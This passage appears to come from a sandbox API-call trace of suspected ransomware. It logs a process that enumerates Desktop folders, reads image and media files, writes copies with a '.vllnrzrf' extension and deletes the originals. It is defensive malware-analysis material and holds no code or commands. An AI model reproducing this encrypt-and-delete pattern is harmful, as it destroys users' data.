lpNumberOfBytesRead=0x1d00e658, lpOverlapped=0x0 | out: lpBuffer=0x122b3a40*, lpNumberOfBytesRead=0x1d00e658*=0x15cea, lpOverlapped=0x0) returned 1 [0088.742] CloseHandle (hObject=0x434) returned 1 [0088.752] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf.vllnrzrf", lpFilePart=0x0) returned 0x45 [0088.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\k1wubvo3z2qo.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.753] GetFileType (hFile=0x434) returned 0x1 [0088.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.753] GetFileType (hFile=0x434) returned 0x1 [0088.753] WriteFile (in: hFile=0x434, lpBuffer=0x12336838*, nNumberOfBytesToWrite=0x15eea, lpNumberOfBytesWritten=0x1d00e6b8, lpOverlapped=0x0 | out: lpBuffer=0x12336838*, lpNumberOfBytesWritten=0x1d00e6b8*=0x15eea, lpOverlapped=0x0) returned 1 [0088.755] CloseHandle (hObject=0x434) returned 1 [0088.759] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", lpFilePart=0x0) returned 0x3c [0088.759] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", nBufferLength=0x105, lpBuffer=0x1d00e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf", lpFilePart=0x0) returned 0x3c [0088.759] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\K1WUbvO3Z2qO.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\k1wubvo3z2qo.swf")) returned 1 [0088.762] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", lpFilePart=0x0) returned 0x36 [0088.762] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", lpFilePart=0x0) returned 0x36 [0088.762] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", lpFilePart=0x0) returned 0x36 [0088.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\ldfe5i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.762] GetFileType (hFile=0x434) returned 0x1 [0088.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.762] GetFileType (hFile=0x434) returned 0x1 [0088.762] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1d00e728 | out: lpFileSizeHigh=0x1d00e728*=0x0) returned 0x39e8 [0088.762] ReadFile (in: hFile=0x434, lpBuffer=0x23a8088, nNumberOfBytesToRead=0x39e8, lpNumberOfBytesRead=0x1d00e658, lpOverlapped=0x0 | out: lpBuffer=0x23a8088*, lpNumberOfBytesRead=0x1d00e658*=0x39e8, lpOverlapped=0x0) returned 1 [0088.763] CloseHandle (hObject=0x434) returned 1 [0088.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg.vllnrzrf", lpFilePart=0x0) returned 0x3f [0088.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e590) returned 1 [0088.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\ldfe5i.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0088.819] GetFileType (hFile=0x434) returned 0x1 [0088.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e500) returned 1 [0088.819] GetFileType (hFile=0x434) returned 0x1 [0088.819] WriteFile (in: hFile=0x434, lpBuffer=0x23c5e80*, nNumberOfBytesToWrite=0x3be8, lpNumberOfBytesWritten=0x1d00e6b8, lpOverlapped=0x0 | out: lpBuffer=0x23c5e80*, lpNumberOfBytesWritten=0x1d00e6b8*=0x3be8, lpOverlapped=0x0) returned 1 [0088.821] CloseHandle (hObject=0x434) returned 1 [0088.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", nBufferLength=0x105, lpBuffer=0x1d00e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", lpFilePart=0x0) returned 0x36 [0088.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", nBufferLength=0x105, lpBuffer=0x1d00e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg", lpFilePart=0x0) returned 0x36 [0088.822] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ldFE5i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\ldfe5i.jpg")) returned 1 [0088.826] CoUninitialize () Thread: id = 57 os_tid = 0xb18 [0088.869] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0088.869] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1cfce240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0088.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce6a0) returned 1 [0088.869] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", nBufferLength=0x105, lpBuffer=0x1cfce190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm", lpFilePart=0x0) returned 0x31 [0088.870] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\", nBufferLength=0x105, lpBuffer=0x1cfce130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\", lpFilePart=0x0) returned 0x32 [0088.870] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\*.*", lpFindFileData=0x1cfce340 | out: lpFindFileData=0x1cfce340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9989a80, ftCreationTime.dwHighDateTime=0x1d5e72b, ftLastAccessTime.dwLowDateTime=0x3a82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x3a82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0088.870] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9989a80, ftCreationTime.dwHighDateTime=0x1d5e72b, ftLastAccessTime.dwLowDateTime=0x3a82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x3a82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.870] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8222cee0, ftCreationTime.dwHighDateTime=0x1d5d9cd, ftLastAccessTime.dwLowDateTime=0x22d94690, ftLastAccessTime.dwHighDateTime=0x1d5e147, ftLastWriteTime.dwLowDateTime=0x22d94690, ftLastWriteTime.dwHighDateTime=0x1d5e147, nFileSizeHigh=0x0, nFileSizeLow=0x151ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="fO4F eExHuau6efJ_9.jpg", cAlternateFileName="FO4FEE~1.JPG")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ba6860, ftCreationTime.dwHighDateTime=0x1d5d802, ftLastAccessTime.dwLowDateTime=0x32514f40, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0x32514f40, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x10ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iVxZ_nA0I7.jpg", cAlternateFileName="IVXZ_N~1.JPG")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cb1ac0, ftCreationTime.dwHighDateTime=0x1d5d8a9, ftLastAccessTime.dwLowDateTime=0x9442ff50, ftLastAccessTime.dwHighDateTime=0x1d5dc2f, ftLastWriteTime.dwLowDateTime=0x9442ff50, ftLastWriteTime.dwHighDateTime=0x1d5dc2f, nFileSizeHigh=0x0, nFileSizeLow=0x1035b, dwReserved0=0x0, dwReserved1=0x0, cFileName="p2DunJF_drBh.png", cAlternateFileName="P2DUNJ~1.PNG")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4b0500, ftCreationTime.dwHighDateTime=0x1d5ddc2, ftLastAccessTime.dwLowDateTime=0xab78150, ftLastAccessTime.dwHighDateTime=0x1d5e343, ftLastWriteTime.dwLowDateTime=0xab78150, ftLastWriteTime.dwHighDateTime=0x1d5e343, nFileSizeHigh=0x0, nFileSizeLow=0x11359, dwReserved0=0x0, dwReserved1=0x0, cFileName="qngnc9_aG tU.mp3", cAlternateFileName="QNGNC9~1.MP3")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5a710, ftCreationTime.dwHighDateTime=0x1d5d924, ftLastAccessTime.dwLowDateTime=0xa51d4fc0, ftLastAccessTime.dwHighDateTime=0x1d5da53, ftLastWriteTime.dwLowDateTime=0xa51d4fc0, ftLastWriteTime.dwHighDateTime=0x1d5da53, nFileSizeHigh=0x0, nFileSizeLow=0xc8d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ri B.flv", cAlternateFileName="RIB~1.FLV")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e54b00, ftCreationTime.dwHighDateTime=0x1d5e35d, ftLastAccessTime.dwLowDateTime=0xc6332900, ftLastAccessTime.dwHighDateTime=0x1d5da53, ftLastWriteTime.dwLowDateTime=0xc6332900, ftLastWriteTime.dwHighDateTime=0x1d5da53, nFileSizeHigh=0x0, nFileSizeLow=0x51b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YWDTq4.mp3", cAlternateFileName="")) returned 1 [0088.872] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfce390 | out: lpFindFileData=0x1cfce390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.872] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0088.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce5f0) returned 1 [0088.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce5b0) returned 1 [0088.873] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", lpFilePart=0x0) returned 0x49 [0088.873] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", lpFilePart=0x0) returned 0x49 [0088.873] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", lpFilePart=0x0) returned 0x49 [0088.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0088.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\fo4f eexhuau6efj_9.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0088.874] GetFileType (hFile=0x450) returned 0x1 [0088.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0088.874] GetFileType (hFile=0x450) returned 0x1 [0088.874] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1cfce728 | out: lpFileSizeHigh=0x1cfce728*=0x0) returned 0x151ce [0088.874] ReadFile (in: hFile=0x450, lpBuffer=0x1234c760, nNumberOfBytesToRead=0x151ce, lpNumberOfBytesRead=0x1cfce658, lpOverlapped=0x0 | out: lpBuffer=0x1234c760*, lpNumberOfBytesRead=0x1cfce658*=0x151ce, lpOverlapped=0x0) returned 1 [0088.879] CloseHandle (hObject=0x450) returned 1 [0088.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg.vllnrzrf", lpFilePart=0x0) returned 0x52 [0088.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0088.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\fo4f eexhuau6efj_9.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0088.896] GetFileType (hFile=0x450) returned 0x1 [0088.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0088.896] GetFileType (hFile=0x450) returned 0x1 [0088.896] WriteFile (in: hFile=0x450, lpBuffer=0x123cb318*, nNumberOfBytesToWrite=0x153ce, lpNumberOfBytesWritten=0x1cfce6b8, lpOverlapped=0x0 | out: lpBuffer=0x123cb318*, lpNumberOfBytesWritten=0x1cfce6b8*=0x153ce, lpOverlapped=0x0) returned 1 [0088.899] CloseHandle (hObject=0x450) returned 1 [0088.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", lpFilePart=0x0) returned 0x49 [0088.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", nBufferLength=0x105, lpBuffer=0x1cfce250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg", lpFilePart=0x0) returned 0x49 [0088.902] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\fO4F eExHuau6efJ_9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\fo4f eexhuau6efj_9.jpg")) returned 1 [0088.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", lpFilePart=0x0) returned 0x40 [0088.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", lpFilePart=0x0) returned 0x40 [0088.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", lpFilePart=0x0) returned 0x40 [0088.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0088.906] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ivxz_na0i7.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0088.906] GetFileType (hFile=0x450) returned 0x1 [0088.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0088.907] GetFileType (hFile=0x450) returned 0x1 [0088.907] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1cfce728 | out: lpFileSizeHigh=0x1cfce728*=0x0) returned 0x10ffa [0088.907] ReadFile (in: hFile=0x450, lpBuffer=0x23f1568, nNumberOfBytesToRead=0x10ffa, lpNumberOfBytesRead=0x1cfce658, lpOverlapped=0x0 | out: lpBuffer=0x23f1568*, lpNumberOfBytesRead=0x1cfce658*=0x10ffa, lpOverlapped=0x0) returned 1 [0088.909] CloseHandle (hObject=0x450) returned 1 [0088.930] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg.vllnrzrf", lpFilePart=0x0) returned 0x49 [0088.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0088.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ivxz_na0i7.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0088.931] GetFileType (hFile=0x450) returned 0x1 [0088.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0088.931] GetFileType (hFile=0x450) returned 0x1 [0088.931] WriteFile (in: hFile=0x450, lpBuffer=0x2268920*, nNumberOfBytesToWrite=0x111fa, lpNumberOfBytesWritten=0x1cfce6b8, lpOverlapped=0x0 | out: lpBuffer=0x2268920*, lpNumberOfBytesWritten=0x1cfce6b8*=0x111fa, lpOverlapped=0x0) returned 1 [0088.934] CloseHandle (hObject=0x450) returned 1 [0088.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", lpFilePart=0x0) returned 0x40 [0088.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", nBufferLength=0x105, lpBuffer=0x1cfce250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg", lpFilePart=0x0) returned 0x40 [0088.936] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\iVxZ_nA0I7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ivxz_na0i7.jpg")) returned 1 [0088.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", lpFilePart=0x0) returned 0x42 [0088.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", lpFilePart=0x0) returned 0x42 [0088.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", lpFilePart=0x0) returned 0x42 [0088.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0088.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\p2dunjf_drbh.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0088.958] GetFileType (hFile=0x450) returned 0x1 [0088.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0088.959] GetFileType (hFile=0x450) returned 0x1 [0088.959] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1cfce728 | out: lpFileSizeHigh=0x1cfce728*=0x0) returned 0x1035b [0088.959] ReadFile (in: hFile=0x450, lpBuffer=0x227a748, nNumberOfBytesToRead=0x1035b, lpNumberOfBytesRead=0x1cfce658, lpOverlapped=0x0 | out: lpBuffer=0x227a748*, lpNumberOfBytesRead=0x1cfce658*=0x1035b, lpOverlapped=0x0) returned 1 [0088.961] CloseHandle (hObject=0x450) returned 1 [0088.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png.vllnrzrf", lpFilePart=0x0) returned 0x4b [0088.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0088.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\p2dunjf_drbh.png.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 